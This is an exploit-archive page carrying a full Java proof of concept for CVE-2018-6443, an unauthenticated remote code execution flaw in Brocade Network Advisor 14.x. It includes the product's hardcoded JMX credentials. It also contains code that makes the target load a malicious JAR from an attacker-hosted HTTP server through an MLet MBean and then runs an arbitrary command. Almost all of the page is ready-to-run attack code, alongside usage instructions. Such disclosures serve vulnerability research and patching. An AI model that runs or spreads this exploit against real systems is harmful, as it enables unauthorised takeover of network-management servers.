ExploitFixes
Brocade Network Advisor 14.4.1 - Unauthenticated Remote Code Execution 2019-05-21 18:05:15

/*
Exploit Title: Brocade Network Advisor - Unauthenticated Remote Code Execution
Date: 2017-03-29
Exploit Author: Jakub Palaczynski
Vendor Homepage: https://www.broadcom.com/
CVE: CVE-2018-6443

Version:
Tested on Brocade Network Advisor 14.X.X versions. Other may also be affected.
Tested on EMC Connectrix Manager Converged Network Edition 14.4.1. Other may also be affected.
IBM Network Advisor seems to also be affected.

Info: Exploit uses hardcoded and undocumented credentials for JBoss JMX to execute arbitrary command on system.
*/

import javax.management.remote.*;
import javax.management.*;
import java.util.*;
import java.lang.*;
import java.io.*;
import java.net.*;
import com.sun.net.httpserver.*;
import java.util.Scanner;
import java.security.*;
import java.security.cert.*;
import javax.net.ssl.*;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
import java.util.regex.Pattern;
import java.util.regex.Matcher;

public class RemoteMbean {

private static String JARNAME = "compr.jar";
private static String OBJECTNAMEA = "BNASupport:name=support,id=3434";
private static String OBJECTNAMEB = "BNASecurity:name=loader,id=3535";
private static String EVILCLASS = "com.expl.Evil";

private static String localIP;
private static int localPort;
private static String connString;
private static String command;
private static String username;
private static String password;
private static String host;
private static int port;
private static int jmxport;
private static String tspwd;

public static void main(String[] args) {
try {
if (args.length < 3) {
showHelp();
}

tspwd = "changeit"; // default Java keystore password
host = args[0].split(":")[0]; // IP of BNA
port = Integer.parseInt(args[0].split(":")[1]); // HTTPS port of BNA

char SEP = File.separatorChar;
String path = System.getProperty("java.home") + SEP + "lib" + SEP + "security";
File dir = new File(path);
File file = new File(dir, "cacerts");
if (file.isFile() == false) {
file = new File(dir, "jssecacerts");
path = path + SEP + "jssecacerts";
} else {
path = path + SEP + "cacerts";
}

// import SSL certificate into Java keystore
checkCert(tspwd, file, path, host, port);

// check if hardcoded password is still there and find JMX port
jmxport = checkPwd(args[0]);

if (jmxport == 0) {
System.out.println("[-] Cannot find JMX port, trying default ...");
jmxport = 24604;
}

connString = "service:jmx:remote://" + host + ":" + jmxport + "/"; // connection string for JMX - if "Unsupported protocol" error then maybe should be changed to "remoting-jmx"
command = args[1]; // command to execute
localIP = args[2].split(":")[0]; // reverse IP address
localPort = Integer.parseInt(args[2].split(":")[1]); // reverse port
username = "admin"; // hardcoded username
password = "no12see!"; // hardcoded password

// starting HTTP server for serving mlet
System.out.println("[+] Starting HTTP server.");
HttpServer server = HttpServer.create(new InetSocketAddress(localPort), 0);
server.createContext("/mlet", new MLetHandler());
server.createContext("/" + JARNAME, new JarHandler());
server.setExecutor(null);
server.start();

// start exploitation
connectAndOwn(connString, command, username, password);
server.stop(0);

// clean up Java keystore
deleteCertificate(file, path, tspwd, host);

} catch (Exception e) {
e.printStackTrace();
}
}

static void showHelp() {
System.out.println("HOWTO: java -cp ./jboss-cli-client.jar:. RemoteMbean IP:BNA_HTTPS_PORT/ \"COMMAND\" REVERSEIP:REVERSEPORT");
System.out.println("Example: java -cp ./jboss-cli-client.jar:. RemoteMbean 127.0.0.1:443 \"id\" 127.0.0.1:1234");
System.exit(0);
}

static boolean checkCert(String tspwd, File file, String path, String host, int port) {
try {
InputStream in = new FileInputStream(file);
KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType());
ks.load( in , tspwd.toCharArray()); in .close();

SSLContext context = SSLContext.getInstance("TLS");
TrustManagerFactory tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
tmf.init(ks);
X509TrustManager defaultTrustManager = (X509TrustManager) tmf.getTrustManagers()[0];
SavingTrustManager tm = new SavingTrustManager(defaultTrustManager);
context.init(null, new TrustManager[] { tm }, null);
SSLSocketFactory factory = context.getSocketFactory();

System.out.println("[+] Checking certificate.");
SSLSocket socket = (SSLSocket) factory.createSocket(host, port);
socket.setSoTimeout(10000);
try {
socket.startHandshake();
socket.close();
System.out.println("[+] Certificate is already trusted.");
return true;
} catch (SSLException e) {
// e.printStackTrace(System.out); // uncomment to see what SSL error occured
}

X509Certificate[] chain = tm.chain;
if (chain == null) {
System.out.println("[-] Failed to obtain certificate. Connection to JMX server may fail.");
return false;
}

BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));

MessageDigest sha1 = MessageDigest.getInstance("SHA1");
MessageDigest md5 = MessageDigest.getInstance("MD5");
for (int i = 0; i < chain.length; i++) {
X509Certificate cert = chain[i];
sha1.update(cert.getEncoded());
md5.update(cert.getEncoded());
}

X509Certificate cert = chain[0];
String alias = host;
ks.setCertificateEntry(alias, cert);

OutputStream out = new FileOutputStream(path);
ks.store(out, tspwd.toCharArray());
out.close();

System.out.println("[+] Added certificate to " + path + " using alias '" + alias + "'");

} catch (Exception e) {
e.printStackTrace();
}
return true;
}

static int checkPwd(String target) {
try {
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() {
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return null;
}
public void checkClientTrusted(X509Certificate[] certs, String authType) {}
public void checkServerTrusted(X509Certificate[] certs, String authType) {}
}
};

SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

HostnameVerifier allHostsValid = new HostnameVerifier() {
public boolean verify(String hostname, SSLSession session) {
return true;
}
};

HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid);

// connect to BNA website
System.out.println("[+] Connecting to BNA website.");
URL url = new URL("https://" + target + "/dcm-client/dcmclient.jnlp");
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("GET");
BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer content = new StringBuffer();
while ((inputLine = in .readLine()) != null) {
content.append(inputLine);
} in .close();
con.disconnect();

// check for hardcoded password
if (!(content.indexOf("k62dCsMggeFy9oyf93Rujw==") >= 0)) {
System.out.println("[-] Cannot find hardcoded credentials.");
return 0;
}
else {
System.out.println("[+] Hardcoded credentials confirmed.");
}

// retrieve JMX port
Pattern p = Pattern.compile(Pattern.quote("jnlp.dcm.dcm.jmxport\"") + "(.*?)" + Pattern.quote(">"));
Matcher m = p.matcher(content);
while (m.find()) {
System.out.println("[+] Found JMX port: " + m.group(1).split("\"")[1] + ".");
return Integer.parseInt(m.group(1).split("\"")[1]);
}

} catch (Exception e) {
e.printStackTrace();
return 0;
}
return 0;
}


static void connectAndOwn(String connString, String command, String username, String password) {
JMXConnector c;

try {
JMXServiceURL u = new JMXServiceURL(connString);

// connect and authenticate
System.out.println("[+] Connecting using hardcoded credentials...");
Map env = new HashMap();
String[] creds = {
username,
password
};
env.put(JMXConnector.CREDENTIALS, creds);
c = JMXConnectorFactory.connect(u, env);
System.out.println("[+] Successfully connected.");

MBeanServerConnection m = c.getMBeanServerConnection();

// check if custom MBeans already exist
ObjectInstance evil_bean = null;
try {
evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAMEA));
} catch (Exception e) {
evil_bean = null;
}

if (evil_bean == null) {
ObjectInstance oi = null;
ObjectName mletObjName = new ObjectName(OBJECTNAMEA);
ObjectName mletLoaderName = new ObjectName(OBJECTNAMEB);

System.out.println("[+] Registering MLet class.");
try {
oi = m.createMBean("javax.management.loading.MLet", mletLoaderName);
} catch (javax.management.InstanceAlreadyExistsException e) {
oi = m.getObjectInstance(new ObjectName(OBJECTNAMEB));
}

System.out.println("[+] MLet class successfully registered.");
System.out.println("[+] Downloading and registering custom class.");
Object res = m.invoke(oi.getObjectName(), "getMBeansFromURL", new Object[] {
String.format("http://%s:%d/mlet/", localIP, localPort)
}, new String[] {
String.class.getName()
});
HashSet res_set = ((HashSet) res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception) {
throw ((Exception) nextObject);
}
evil_bean = ((ObjectInstance) nextObject);
}
System.out.println("[+] Custom class successfully registered.");
System.out.println("[+] Running command.\n");
ObjectName plok = new ObjectName(OBJECTNAMEA);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[] {
command
}, new String[] {
String.class.getName()
});
System.out.println("Result:\n" + result + "\n");

// unregister custom MBeans
System.out.println("[+] Cleaning up JMX.");
for (ObjectInstance x: m.queryMBeans(null, null)) {
if (x.getObjectName().toString().startsWith("BNASecurity")) {
m.unregisterMBean(x.getObjectName());
}
}

for (ObjectInstance x: m.queryMBeans(null, null)) {
if (x.getObjectName().toString().startsWith("BNASupport")) {
m.unregisterMBean(x.getObjectName());
}
}
} catch (Exception e) {
e.printStackTrace();
}
}

static class MLetHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String response = String.format("<HTML><MLET CODE=%s ARCHIVE=%s NAME=%s CODEBASE=http://%s:%d/></MLET></HTML>", EVILCLASS, JARNAME, OBJECTNAMEA, localIP, localPort);
System.out.println("[+] Received reverse connection for HTTP page.");
t.sendResponseHeaders(200, response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
}

static class JarHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
System.out.println("[+] Received reverse connection for JAR file.");
File file = new File(JARNAME);
byte[] bytearray = new byte[(int) file.length()];
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
bis.read(bytearray, 0, bytearray.length);
t.sendResponseHeaders(200, file.length());
OutputStream os = t.getResponseBody();
os.write(bytearray, 0, bytearray.length);
os.close();
}
}

private static final char[] HEXDIGITS = "0123456789abcdef".toCharArray();

private static String toHexString(byte[] bytes) {
StringBuilder sb = new StringBuilder(bytes.length * 3);
for (int b: bytes) {
b &= 0xff;
sb.append(HEXDIGITS[b >> 4]);
sb.append(HEXDIGITS[b & 15]);
sb.append(' ');
}
return sb.toString();
}

public static void deleteCertificate(File trustStore, String path, String password, String alias) {
try (final FileInputStream fis = new FileInputStream(trustStore)) {
final KeyStore keystore = KeyStore.getInstance(KeyStore.getDefaultType());
keystore.load(fis, password.toCharArray());
if (keystore.containsAlias(alias)) {
keystore.deleteEntry(alias);
OutputStream writeStream = new FileOutputStream(path);
keystore.store(writeStream, password.toCharArray());
writeStream.close();
System.out.println("[+] Certificate deleted from keystore.");
}
else {
System.out.println("[-] Alias " + alias + " not found in keystore.");
}
}
catch (final Exception e) {
System.out.println("[-] Error occured while deleting certificate.");
}
}

private static class SavingTrustManager implements X509TrustManager {
private final X509TrustManager tm;
private X509Certificate[] chain;
SavingTrustManager(X509TrustManager tm) {
this.tm = tm;
}

@Override
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
// throw new UnsupportedOperationException();
}

@Override
public void checkClientTrusted(final X509Certificate[] chain,
final String authType)
throws CertificateException {
throw new UnsupportedOperationException();
}

@Override
public void checkServerTrusted(final X509Certificate[] chain,
final String authType)
throws CertificateException {
this.chain = chain;
this.tm.checkServerTrusted(chain, authType);
}
}
}